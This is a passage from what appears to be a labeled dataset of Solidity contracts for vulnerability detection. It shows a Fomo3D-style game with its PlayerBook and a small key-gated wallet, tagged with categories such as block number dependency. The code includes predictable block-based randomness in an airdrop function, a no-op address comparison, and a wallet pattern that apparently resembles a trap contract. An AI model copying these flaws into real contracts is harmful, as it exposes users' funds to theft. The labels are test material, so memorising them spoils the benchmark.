getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(25)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 10000000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 100000000000000000000) { uint256 _availableLimit = (100000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _eth, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _affID, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(25)) / 100; uint256 _com = (_pot.mul(3)) / 100; uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_com); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _eth, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = (_eth.mul(3)) / 100; uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { round_[_rID].pot = round_[_rID].pot.add(_p3d); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _aff = (_eth.mul(15)) / 100; _eth = _eth.sub(((_eth.mul(18)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _gen = _gen.add(_aff); } uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Free already activated""); activated_ = true; rID_ = 1; round_[1].strt = now - rndGap_; round_[1].end = now + rndInit_ ; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 960.sol,"pragma solidity ^0.4.24; contract MultiFundsWallet { bytes32 keyHash; address owner; constructor() public { owner = msg.sender; } function setup(string key) public { if (keyHash == 0x0) { keyHash = keccak256(abi.encodePacked(key)); } } function withdraw(string key) public payable { require(msg.sender == tx.origin); if(keyHash == keccak256(abi.encodePacked(key))) { if(msg.value > 0.2 ether) { msg.sender.transfer(address(this).balance); } } } function update(bytes32 _keyHash) public { if (keyHash == 0x0) { keyHash = _keyHash; } } function clear() public { require(msg.sender == owner); selfdestruct(owner); } function () public payable { } }",./Dataset/ether strict equality (SE),3,3 877.sol,"pragma solidity ^0.4.24; /*-------------------------------------------------------------- ____ _ ____ _ | _ \| | __ _ _ _ ___ _ __ | __ ) ___ ___ | | __ | |_) | |/ _` | | | |/ _ \ '__| | _ \ / _ \ / _ \| |/ / | __/| | (_| | |_| | __/ | | |_) | (_) | (_) | < |_| |_|\__,_|\__, |\___|_| |____/ \___/ \___/|_|\_\ |___/ 2018-08-08 --------------------------------------------------------------*/ interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } contract PlayerBook { using NameFilter for string; using SafeMath for uint256; address private admin = msg.sender; //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . //=============================|================================================ uint256 public registrationFee_ = 10 finney; // price to register a name mapping(uint256 => PlayerBookReceiverInterface) public games_; // mapping of our game interfaces for sending your account info to games mapping(address => bytes32) public gameNames_; // lookup a games name mapping(address => uint256) public gameIDs_; // lokup a games ID uint256 public gID_; // total number of games uint256 public pID_; // total number of players mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amoungst any name you own) mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) list of names a player owns struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // premine the dev names (sorry not sorry) // No keys are purchased with this method, it's simply locking our addresses, // PID's and names for referral codes. plyr_[1].addr = 0x9b7a49ba1B7a77568fC44c2db0d6e4BD958D9fe7; plyr_[1].name = ""kelvin""; plyr_[1].names = 1; pIDxAddr_[0x9b7a49ba1B7a77568fC44c2db0d6e4BD958D9fe7] = 1; pIDxName_[""kelvin""] = 1; plyrNames_[1][""kelvin""] = true; plyrNameList_[1][1] = ""kelvin""; plyr_[2].addr = 0xFEd2968DE2407b0B5366Cd33A70aD7Bd29Bbb6A5; plyr_[2].name = ""leopard""; plyr_[2].names = 1; pIDxAddr_[0xFEd2968DE2407b0B5366Cd33A70aD7Bd29Bbb6A5] = 2; pIDxName_[""leopard""] = 2; plyrNames_[2][""leopard""] = true; plyrNameList_[2][1] = ""leopard""; plyr_[3].addr = 0x7c476C8c8754b7bF7C72F3dcf37E67cE097D09e4; plyr_[3].name = ""eric""; plyr_[3].names = 1; pIDxAddr_[0x7c476C8c8754b7bF7C72F3dcf37E67cE097D09e4] = 3; pIDxName_[""eric""] = 3; plyrNames_[3][""eric""] = true; plyrNameList_[3][1] = ""eric""; plyr_[4].addr = 0x2f38fba98218A3E85f56467Ca12B1525988b1892; plyr_[4].name = ""steven""; plyr_[4].names = 1; pIDxAddr_[0x2f38fba98218A3E85f56467Ca12B1525988b1892] = 4; pIDxName_[""steven""] = 4; plyrNames_[4][""steven""] = true; plyrNameList_[4][1] = ""steven""; pID_ = 4; } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier onlyDevs() { require(admin == msg.sender, ""msg sender is not a dev""); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev registers a name. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who refered you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { // update last affiliate plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } // register name registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != """" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } /** * @dev players, if you registered a profile, before a game was released, or * set the all bool to false when you registered, use this function to push * your profile to a single game. also, if you've updated your name, you * can use this to push your name to games of your choosing. * -functionhash- 0x81c5b206 * @param _gameID game id */ function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, ""silly player, that game doesn't exist yet""); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""hey there buddy, you dont even have an account""); uint256 _totalNames = plyr_[_pID].names; // add players profile and most recent name games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); // add list of all names if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } /** * @dev players, use this to push your player profile to all registered games. * -functionhash- 0x0c6940ea */ function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""hey there buddy, you dont even have an account""); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } /** * @dev players use this to change back to one of your old names. tip, you'll * still need to push that info to existing games. * -functionhash- 0xb9291296 * @param _nameString the name you want to use */ function useMyOldName(string _nameString) isHuman() public { // filter name, and get pID bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; // make sure they own the name require(plyrNames_[_pID][_name] == true, ""umm... thats not a name you own""); // update their current name plyr_[_pID].name = _name; } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . //=====================_|======================================================= function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { // if names already has been used, require that current msg sender owns the name if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, ""sorry that names already taken""); // add name to player profile, registry, and name book plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } // registration fee goes directly to community rewards admin.transfer(address(this).balance); // push player info to games if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); // fire event emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; // set the new player bool to true return (true); } else { return (false); } } //============================================================================== // _ _|_ _ _ _ _ | _ _ || _ . // (/_>< | (/_| | |(_|| (_(_|||_\ . //============================================================================== function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function 